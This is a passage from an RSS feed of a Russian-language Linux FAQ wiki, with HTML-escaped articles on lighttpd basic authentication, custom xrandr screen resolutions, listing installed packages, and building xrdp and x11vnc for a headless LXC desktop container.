&amp;quot;method&amp;quot; =&amp;gt; &amp;quot;basic&amp;quot;,
&amp;quot;realm&amp;quot; =&amp;gt; &amp;quot;Password protected area&amp;quot;,
&amp;quot;require&amp;quot; =&amp;gt; &amp;quot;user=vivek&amp;quot;
)
)&lt;/pre&gt;

&lt;p&gt;
Where,&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 auth.require = ( “/docs/” ⇒ : Directory name&lt;br/&gt;

 “method” ⇒ “basic”, : Authentication type&lt;br/&gt;

 “realm” ⇒ “Password protected area”, : Password realm/message&lt;br/&gt;

 “require” ⇒ “user=vivek” : Only user vivek can use /docs/&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
At the end, your configuration should read as follows:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$HTTP[&amp;quot;host&amp;quot;] == &amp;quot;theos.in&amp;quot; {
server.document-root = &amp;quot;/home/lighttpd/theos.in/http&amp;quot;
server.errorlog = &amp;quot;/var/log/lighttpd/theos.in/error.log&amp;quot;
accesslog.filename = &amp;quot;/var/log/lighttpd/theos.in/access.log&amp;quot;
auth.require = ( &amp;quot;/docs/&amp;quot; =&amp;gt;
(
&amp;quot;method&amp;quot; =&amp;gt; &amp;quot;basic&amp;quot;,
&amp;quot;realm&amp;quot; =&amp;gt; &amp;quot;Password protected area&amp;quot;,
&amp;quot;require&amp;quot; =&amp;gt; &amp;quot;user=vivek&amp;quot;
)
)
}&lt;/pre&gt;

&lt;p&gt;
Save and close the file.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;How do I use Basic authentication method?&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;how_do_i_use_basic_authentication_method&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;697-2717&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;step_2create_a_password_file&quot;&gt;Step # 2: Create a password file&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Create a plain text username (vivek) and password file:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# vi /home/lighttpd/.lighttpdpassword&lt;/pre&gt;

&lt;p&gt;
Append username:password:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vivek:mysecretepassword&lt;/pre&gt;

&lt;p&gt;
Where,&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 vivek - is the name of a user. Please note that do not use a system user stored in /etc/passwd file. It is recommended that you use a different username that only exists for the purpose of authenticating password protected directories.&lt;br/&gt;

 mysecretepassword - is the password for user vivek (must be in clear text format for plain text method)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Save and close the file. Make sure file /home/lighttpd/.lighttpdpassword is readable by lighttpd:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# chown lighttpd:lighttpd /home/lighttpd/.lighttpdpassword&lt;/pre&gt;

&lt;p&gt;
Finally, restart lighttpd server:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# /etc/init.d/lighttpd restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Step # 2: Create a password file&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;step_2create_a_password_file&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2718-3547&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;step_3test_your_configuration&quot;&gt;Step # 3: Test your configuration&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Fire your browser and point a web browser to &lt;a href=&quot;http://yourdomain.com/docs/&quot; class=&quot;urlextern&quot; title=&quot;http://yourdomain.com/docs/&quot; rel=&quot;ugc nofollow&quot;&gt;http://yourdomain.com/docs/&lt;/a&gt; or &lt;a href=&quot;http://localhost/docs/&quot; class=&quot;urlextern&quot; title=&quot;http://localhost/docs/&quot; rel=&quot;ugc nofollow&quot;&gt;http://localhost/docs/&lt;/a&gt; or &lt;a href=&quot;http://ip-address/docs&quot; class=&quot;urlextern&quot; title=&quot;http://ip-address/docs&quot; rel=&quot;ugc nofollow&quot;&gt;http://ip-address/docs&lt;/a&gt;. You should be prompted for a username and password.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
This way you can restrict access to certain areas of your website. Make sure you also use SSL encryption for authenticating users and secure digest authentication.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Step # 3: Test your configuration&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;step_3test_your_configuration&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:9,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3548-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>linux_x_add_custom_resolutions</title>
            <link>https://wiki.autosys.tk/linux_faq/linux_x_add_custom_resolutions</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;добавление_нестандартный_разрешений_экрана&quot;&gt;Добавление нестандартный разрешений экрана&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://forums.opensuse.org/showthread.php/507397-Adjusting-screen-resolution-on-a-system-with-no-monitor-connected?p=2710248#post2710248&quot; class=&quot;urlextern&quot; title=&quot;https://forums.opensuse.org/showthread.php/507397-Adjusting-screen-resolution-on-a-system-with-no-monitor-connected?p=2710248#post2710248&quot; rel=&quot;ugc nofollow&quot;&gt;https://forums.opensuse.org/showthread.php/507397-Adjusting-screen-resolution-on-a-system-with-no-monitor-connected?p=2710248#post2710248&lt;/a&gt;
&lt;br/&gt;

Для добавления разрешений используется утилита &lt;strong&gt;xrandr&lt;/strong&gt;. &lt;br/&gt;

Сначала нужно получить строчку с параметрами нового режима с помощьбю &lt;strong&gt;cvt&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cvt 2560 1080
# 2560x1080 59.98 Hz (CVT) hsync: 67.17 kHz; pclk: 230.00 MHz
Modeline &amp;quot;2560x1080_60.00&amp;quot;  230.00  2560 2720 2992 3424  1080 1083 1093 1120 -hsync +vsync&lt;/pre&gt;

&lt;p&gt;
Строку &lt;strong&gt;Modeline&lt;/strong&gt; подставляем в команду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xrandr --newmode &amp;quot;2560x1080_60.00&amp;quot;  230.00  2560 2720 2992 3424  1080 1083 1093 1120 -hsync +vsync&lt;/pre&gt;

&lt;p&gt;
Добавляем режим к монитору:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xrandr --addmode HDMI-0 &amp;quot;2560x1080_60.00&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Название монитора можно посмотреть в выводе команды &lt;strong&gt;xrandr&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для того, чтобы этот режим добавлялся автоматически при старте в файлик &lt;strong&gt;/etc/X11/xinit/xinitrc&lt;/strong&gt; пишем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;xrandr --newmode &amp;quot;2560x1080_60.00&amp;quot;  230.00  2560 2720 2992 3424  1080 1083 1093 1120 -hsync +vsync
xrandr --addmode HDMI-0 &amp;quot;2560x1080_60.00&amp;quot;
xrandr --output HDMI-0 --mode 2560x1080_60.00&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>list_of_all_packages_installed_in_system_for_apt-get</title>
            <link>https://wiki.autosys.tk/linux_faq/list_of_all_packages_installed_in_system_for_apt-get</link>
            <description>
&lt;p&gt;
Иногда нужно начисто переустановить систему и установить в нее все пакеты, которые были в прежней. Получить список пакетов, который можно потом скормить команде apt-get install можно командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg -l |tail -n+6 |awk &amp;#039;{print($2)}&amp;#039;| tr &amp;#039;\n&amp;#039; &amp;#039; &amp;#039; &lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>lxde_vnc-в-контейнере-lxc</title>
            <link>https://wiki.autosys.tk/linux_faq/lxde_vnc-%D0%B2-%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%B9%D0%BD%D0%B5%D1%80%D0%B5-lxc</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;для_чего&quot;&gt;Для чего&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне нужен &lt;strong&gt;headless&lt;/strong&gt; LXC-контейнер с экономичным декстопным окружением, доступ к которому будет осуществляться по &lt;strong&gt;VNC&lt;/strong&gt;, а лучше - по &lt;strong&gt;RDP&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043b\u044f \u0447\u0435\u0433\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043b\u044f_\u0447\u0435\u0433\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-274&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;варианты_решения&quot;&gt;Варианты решения&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В качестве ОС контейнера выступает &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;. &lt;br/&gt;

Для запуска иксов в &lt;strong&gt;headless&lt;/strong&gt;-контейнере понадобится эмуляция видеоадаптера. &lt;br/&gt;

Для этих целей можно использовать либо &lt;strong&gt;xvfb&lt;/strong&gt; (&lt;strong&gt;X Virtual Frame Buffer&lt;/strong&gt;) либо &lt;strong&gt;xdummy&lt;/strong&gt;. Оба пакета присутствуют в репозиториях большинства дистрибутивов, однако, более продвинутым является &lt;strong&gt;xdummy&lt;/strong&gt;. &lt;br/&gt;

В данной заметке я рассмотрю настройку двух этих решений. &lt;br/&gt;

В качестве десктопного окружения я протестирую пару - &lt;strong&gt;Xfce&lt;/strong&gt; и &lt;strong&gt;LXDE&lt;/strong&gt;. Сразу скажу, что вариант с &lt;strong&gt;Xfce&lt;/strong&gt; мне понравился гораздо больше. &lt;br/&gt;

Для доступа к графической оболочке я планирую использовать &lt;strong&gt;VNC&lt;/strong&gt; или &lt;strong&gt;RDP&lt;/strong&gt; (но можно использовать и другие протоколы). Например: &lt;strong&gt;SPICE&lt;/strong&gt; - &lt;a href=&quot;https://discuss.linuxcontainers.org/t/access-container-via-spice-sharing-clipboard/2544/3&quot; class=&quot;urlextern&quot; title=&quot;https://discuss.linuxcontainers.org/t/access-container-via-spice-sharing-clipboard/2544/3&quot; rel=&quot;ugc nofollow&quot;&gt;https://discuss.linuxcontainers.org/t/access-container-via-spice-sharing-clipboard/2544/3&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b_\u0440\u0435\u0448\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;275-1562&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;xfce_xdummy_xrdp&quot;&gt;Xfce + xdummy + xrdp&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Установка необходимых компонент:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get -y install nano curl xserver-xorg-video-dummy xserver-xorg-core x11vnc xubuntu-desktop&lt;/pre&gt;

&lt;p&gt;
Настройки &lt;strong&gt;X&lt;/strong&gt; для работы с &lt;strong&gt;xdummy&lt;/strong&gt; (файлик &lt;strong&gt;/etc/X11/xorg.conf&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; 
# This xorg configuration file is meant to be used
# to start a dummy X11 server.
# For details, please see:
# https://www.xpra.org/xorg.conf

# Here we setup a Virtual Display of 1600x900 pixels

Section &amp;quot;Device&amp;quot;
    Identifier &amp;quot;Configured Video Device&amp;quot;
    Driver &amp;quot;dummy&amp;quot;
    #VideoRam 4096000
    #VideoRam 256000
    VideoRam 16384
EndSection

Section &amp;quot;Monitor&amp;quot;
    Identifier &amp;quot;Configured Monitor&amp;quot;
    HorizSync 5.0 - 1000.0
    VertRefresh 5.0 - 200.0
    Modeline &amp;quot;1600x900&amp;quot; 33.92 1600 1632 1760 1792 900 921 924 946
EndSection

Section &amp;quot;Screen&amp;quot;
    Identifier &amp;quot;Default Screen&amp;quot;
    Monitor &amp;quot;Configured Monitor&amp;quot;
    Device &amp;quot;Configured Video Device&amp;quot;
    DefaultDepth 24
    SubSection &amp;quot;Display&amp;quot;
        Viewport 0 0
        Depth 24
        Virtual 1600 900
    EndSubSection
EndSection&lt;/pre&gt;

&lt;p&gt;
Список строчек для различных режимов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;    Modeline &amp;quot;1920x1080&amp;quot; 23.53 1920 1952 2040 2072 1080 1106 1108 1135
    Modeline &amp;quot;1680x1050&amp;quot; 20.08 1680 1712 1784 1816 1050 1075 1077 1103
    Modeline &amp;quot;1600x1200&amp;quot; 22.04 1600 1632 1712 1744 1200 1229 1231 1261
    Modeline &amp;quot;1600x900&amp;quot; 33.92 1600 1632 1760 1792 900 921 924 946
    Modeline &amp;quot;1440x900&amp;quot; 30.66 1440 1472 1584 1616 900 921 924 946
    ModeLine &amp;quot;1366x768&amp;quot; 72.00 1366 1414 1446 1494 768 771 777 803
    Modeline &amp;quot;1280x1024&amp;quot; 31.50 1280 1312 1424 1456 1024 1048 1052 1076
    Modeline &amp;quot;1280x800&amp;quot; 24.15 1280 1312 1400 1432 800 819 822 841
    Modeline &amp;quot;1280x768&amp;quot; 23.11 1280 1312 1392 1424 768 786 789 807
    Modeline &amp;quot;1360x768&amp;quot; 24.49 1360 1392 1480 1512 768 786 789 807
    Modeline &amp;quot;1024x768&amp;quot; 18.71 1024 1056 1120 1152 768 786 789 807&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Xfce + xdummy + xrdp&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;xfce_xdummy_xrdp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1563-3499&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;xrdp&quot;&gt;XRDP&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Я буду использовать связку &lt;strong&gt;xrdp&lt;/strong&gt; + &lt;strong&gt;xorgrdp&lt;/strong&gt;. Раньше довольно популярным было использование &lt;strong&gt;x11rdp&lt;/strong&gt;, однако его поддержки нужно пересобрать &lt;strong&gt;Xorg&lt;/strong&gt;, а в случае с &lt;strong&gt;xorgrdp&lt;/strong&gt; этого не требуется. &lt;br/&gt;

&lt;strong&gt;Xrdp&lt;/strong&gt; можно установить из репозитория, однако он там довольно старый. Я предпочитаю собирать последнюю версию.  
Ставим средства для сборки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install git autoconf libtool pkg-config gcc g++ make  libssl-dev libpam0g-dev libjpeg-dev libx11-dev libxfixes-dev libxrandr-dev  flex bison libxml2-dev intltool xsltproc xutils-dev python-libxml2 g++ xutils libfuse-dev libmp3lame-dev nasm libpixman-1-dev xserver-xorg-dev&lt;/pre&gt;

&lt;p&gt;
Скачиваем и собираем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir ./xrdp
cd xrdp/
wget https://github.com/neutrinolabs/xorgxrdp/releases/download/v0.2.1/xorgxrdp-0.2.1.tar.gz
wget https://github.com/neutrinolabs/xrdp/releases/download/v0.9.2/xrdp-0.9.2.tar.gz
tar -xvf ./xrdp-0.9.2.tar.gz 
cd ./xrdp-0.9.2
./bootstrap
./configure --enable-fuse --enable-rfxcodec --enable-mp3lame --enable-pixman --disable-painter --disable-ipv6
make
sudo make install
sudo ln -s /usr/local/sbin/xrdp{,-sesman} /usr/sbin
cd ..
tar xvfz xorgxrdp-0.2.1.tar.gz 
cd xorgxrdp-0.2.1
./bootstrap
./configure
make
sudo make install&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;XRDP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;xrdp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3500-5010&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit5&quot; id=&quot;настройка_xrdp&quot;&gt;Настройка XRDP&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
В принципе, достаточно просто включить сервис и уже можно подключаться.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl enable xrdp
sudo service xrdp start &lt;/pre&gt;

&lt;p&gt;
Однако, неплохо бы немного скорректировать список доступных при подключении опций - по умолчанию он избыточен.&lt;br/&gt;

Для этого открываем файлик &lt;strong&gt;/etc/xrdp/xrdp.ini&lt;/strong&gt; и в нижней части в разделе &lt;strong&gt;Session types&lt;/strong&gt; удаляем или комментируем все, кроме:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;;
; Session types
;

[Xorg]
name=Xorg
lib=libxup.so
username=ask
password=ask
ip=127.0.0.1
port=-1
code=20&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 XRDP&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_xrdp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;5011-5767&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit6&quot; id=&quot;lightdm&quot;&gt;lightdm&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
&lt;strong&gt;/etc/lightdm/lightdm.conf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Seat:*]
xserver-allow-tcp=false
xserver-command=X -nolisten tcp&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;lightdm&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;lightdm&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;5768-5895&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit7&quot; id=&quot;проблемы&quot;&gt;Проблемы&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
После обновления контейнера &lt;strong&gt;Ubutnu 16.04&lt;/strong&gt; до &lt;strong&gt;18.04&lt;/strong&gt; перестал работать &lt;strong&gt;xrdp&lt;/strong&gt;. &lt;br/&gt;

После ввода логина и пароля он долго тупит, а потом выдает: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;login successful for display 10
started connecting
connection problem, giving up
some problem&lt;/pre&gt;

&lt;p&gt;
В логе &lt;strong&gt;/var/log/xrdp.log&lt;/strong&gt; ошибки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[DEBUG] Closed socket 19 (AF_UNIX)&lt;/pre&gt;

&lt;p&gt;
В логе &lt;strong&gt;/var/log/xrdp-sesman.log&lt;/strong&gt; ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[ERROR] X server for display 10 startup timeout&lt;/pre&gt;

&lt;p&gt;
В директории пользователя, который логинится в файле &lt;strong&gt;~/.xorgxrdp.XX.log&lt;/strong&gt; такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[  4034.806] (II) LoadModule: &amp;quot;xorgxrdp&amp;quot;
[  4034.807] (II) Loading /usr/lib/xorg/modules/libxorgxrdp.so
[  4034.807] (II) Module XORGXRDP: vendor=&amp;quot;X.Org Foundation&amp;quot;
[  4034.807]    compiled for 1.18.4, module version = 1.0.0
[  4034.807]    ABI class: X.Org Video Driver, version 20.0
[  4034.807] (EE) xorgxrdp: module ABI major version (20) doesn&amp;#039;t match the server&amp;#039;s version (23)
[  4034.807] (II) UnloadModule: &amp;quot;xorgxrdp&amp;quot;
[  4034.807] (II) Unloading xorgxrdp
[  4034.807] (EE) Failed to load module &amp;quot;xorgxrdp&amp;quot; (module requirement mismatch, 0)&lt;/pre&gt;

&lt;p&gt;
Причина - несоответствие &lt;strong&gt;ABI&lt;/strong&gt; собранного вручную модуля &lt;strong&gt;xorgxrdp&lt;/strong&gt; и текущего &lt;strong&gt;Xorg&lt;/strong&gt;. &lt;br/&gt;

Решение - пересобрать &lt;strong&gt;xorgxrdp&lt;/strong&gt; с текущими библиотеками &lt;strong&gt;xserver-xorg-dev&lt;/strong&gt; и переустановить его. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;5896-7456&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit8&quot; id=&quot;lxde_xvfb_x11vnc&quot;&gt;LXDE + Xvfb + x11vnc&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В качестве ОС контейнера выступает &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;, а в качестве &lt;strong&gt;DE&lt;/strong&gt; - пакет &lt;strong&gt;lubuntu-desktop&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y upgrade
sudo apt-get -y install nano curl xvfb xserver-xorg-core x11vnc lubuntu-desktop&lt;/pre&gt;

&lt;p&gt;
Дальше план такой - в скрипт &lt;strong&gt;/etc/X11/xinit/xserverrc&lt;/strong&gt; прописываем запуск &lt;strong&gt;Xvfb&lt;/strong&gt; - в результате у нас будет дисплей &lt;strong&gt;:0&lt;/strong&gt; и прописываем в конфигурацию &lt;strong&gt;lightdm&lt;/strong&gt; запуск этого скрипта (вместо дефолтной команды &lt;strong&gt;X&lt;/strong&gt;). В результате при старте &lt;strong&gt;lightdm&lt;/strong&gt; у нас запустится &lt;strong&gt;Xvfb&lt;/strong&gt;. Потом создадим сервис &lt;strong&gt;x11vnc&lt;/strong&gt; и настроим его автозапуск. &lt;br/&gt;

Поехали.&lt;br/&gt;

Настраиваем &lt;strong&gt;lightdm&lt;/strong&gt;, чтобы он запускал при старте иксов &lt;strong&gt;/etc/X11/xinit/xserverrc&lt;/strong&gt;, а не дефолтную команду &lt;strong&gt;xserver-command=X&lt;/strong&gt; . Для этого в файлик &lt;strong&gt;/etc/lightdm/lightdm.conf&lt;/strong&gt; пишем вот что:                                                                                                                         
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[SeatDefaults]
greeter-session=lightdm-gtk-greeter
user-session=Xubuntu
xserver-command=/etc/X11/xinit/xserverrc&lt;/pre&gt;

&lt;p&gt;
Cкорректируем &lt;strong&gt;/etc/X11/xinit/xserverrc&lt;/strong&gt;, чтобы запускался &lt;strong&gt;Xvfb&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh

#exec /usr/bin/X -nolisten tcp &amp;quot;$@&amp;quot;
exec Xvfb :0 -screen 0 1024x768x24&lt;/pre&gt;

&lt;p&gt;
Теперь нужно организовать автоматический запуск &lt;strong&gt;x11vnc&lt;/strong&gt;. Это можно сделать двумя путями. Либо прописать строку запуска в &lt;strong&gt;/etc/rc.local&lt;/strong&gt;, либо создать сервис в &lt;strong&gt;systemd&lt;/strong&gt;. Создадим сервис. В файлик &lt;strong&gt;/lib/systemd/system/x11vnc.service&lt;/strong&gt; напишем такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Unit]
Description=Remote control service x11vnc
After=graphical.target

[Service]
Restart=always
RestartSec=5
Type=simple
ExecStart=-/usr/bin/x11vnc -display :0 -auth &amp;quot;/var/run/lightdm/root/:0&amp;quot; -rfbauth /etc/x11vnc.pass -o /var/log/x11vnc.log
User=x11vnc
Group=x11vnc

[Install]
WantedBy=graphical.target&lt;/pre&gt;

&lt;p&gt;
Создадим пользователя для запуска этого сервиса, создадим файлик с логами и дадим на него права:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo useradd x11vnc --system
sudo touch /var/log/x11vnc.log
sudo chown -R x11vnc /var/log/x11vnc.log &lt;/pre&gt;

&lt;p&gt;
Включаем и запускаем сервис:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl enable x11vnc.service
sudo systemctl start x11vnc.service&lt;/pre&gt;

&lt;p&gt;
Проверяем статус сервиса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl status x11vnc.service&lt;/pre&gt;

&lt;p&gt;
И, наконец, задаем пароль для &lt;strong&gt;VNC&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo x11vnc -storepasswd yourVNCpasswordHERE /etc/x11vnc.pass
sudo chown x11vnc /etc/x11vnc.pass&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;LXDE + Xvfb + x11vnc&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;lxde_xvfb_x11vnc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;7457-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 11 Sep 2019 07:17:56 +0000</pubDate>
        </item>
        <item>
            <title>mainpage</title>
            <link>https://wiki.autosys.tk/linux_faq/mainpage</link>
            <description>
&lt;div&gt;&lt;div id=&quot;nojs_indexmenu_134132341069d2abd84f9a4&quot; data-jsajax=&quot;&amp;group=1&quot; class=&quot;indexmenu_nojs&quot;&gt;
&lt;ul class=&quot;idx&quot;&gt;
&lt;li class=&quot;closed&quot;&gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/mainpage&quot; class=&quot;indexmenu_idx_head&quot; data-wiki-id=&quot;linux_faq:mainpage&quot;&gt;mainpage&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot; &gt;&lt;div class=&quot;li&quot;&gt;&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/32-bit-chroot-%D0%B2-ubuntu-14-04&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:32-bit-chroot-в-ubuntu-14-04&quot; data-wiki-id=&quot;linux_faq:32-bit-chroot-в-ubuntu-14-04&quot;&gt;32-bit-chroot-в-ubuntu-14-04&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
